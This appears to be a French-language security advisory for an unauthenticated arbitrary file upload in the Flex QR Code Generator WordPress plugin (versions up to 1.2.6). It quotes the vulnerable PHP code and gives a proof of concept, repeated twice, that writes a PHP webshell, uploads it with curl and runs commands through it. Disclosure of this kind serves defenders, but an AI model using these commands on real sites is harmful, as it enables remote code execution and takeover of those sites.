
Flex QR Code Generator <= 1.2.6 - Téléversement de fichier arbitraire non authentifié
L'extension Flex QR Code Generator ne valide pas les permissions utilisateur et ne nettoie pas les fichiers téléversés dans son point de terminaison AJAX update_qr_code, permettant à des attaquants non authentifiés de téléverser des fichiers arbitraires, y compris des scripts PHP exécutables, conduisant à une exécution de code à distance.
# Upload PHP webshell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \
-F "action=flexqr_update_qr" \
-F "qrId=1" \
-F "qrData={\"data\":\"https://example.com\"}" \
-F "[email protected]"
La vulnérabilité se situe dans la méthode update_qr_code de la classe FlexQrCodeGenerator. L'extension enregistre des points de terminaison AJAX pour les utilisateurs non authentifiés, ce qui permet à tout visiteur de téléverser des fichiers arbitraires qui sont stockés dans le répertoire de téléversements de WordPress.
Code vulnérable provenant de /qr-code-generator.php:457-589:
public function update_qr_code()
{
if (isset($_POST['qrData']) && isset($_POST['qrId'])) {
// ... validation code ...
// Handle the logo (file upload)
if (isset($_FILES['logo']) && $_FILES['logo']['error'] === UPLOAD_ERR_OK) {
$logo = $_FILES['logo'];
$upload_dir = wp_upload_dir();
$file_ext = pathinfo($logo['name'], PATHINFO_EXTENSION);
$file_name = pathinfo($logo['name'], PATHINFO_FILENAME);
$new_file_name = $file_name . '_' . $qrId . '.' . $file_ext;
$file_path = $upload_dir['path'] . '/' . $new_file_name;
if (move_uploaded_file($logo['tmp_name'], $file_path)) {
// File uploaded successfully
}
}
}
}
Exécution de fichier provenant de /qr-code-generator.php:504:
if (move_uploaded_file($logo['tmp_name'], $file_path)) {
$logo_url = $upload_dir['url'] . '/' . $new_file_name;
$logo_url = str_replace(home_url(), '', $logo_url);
$update_data['logo_url'] = $logo_url;
}
Accès non authentifié provenant de /qr-code-generator.php:41-42:
add_action('wp_ajax_flexqr_update_qr', [$this, 'update_qr_code']);
add_action('wp_ajax_nopriv_flexqr_update_qr', [$this, 'update_qr_code']);
curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \
-d "action=flexqr_fetch_qr_code" \
-d "per_page=10" \
-d "page=1"
echo '<?php system($_GET["cmd"]); ?>' > shell.php
curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \
-F "action=flexqr_update_qr" \
-F "qrId=1" \
-F "qrData={\"data\":\"https://example.com\"}" \
-F "[email protected]"
shell_1.php?cmd=whoami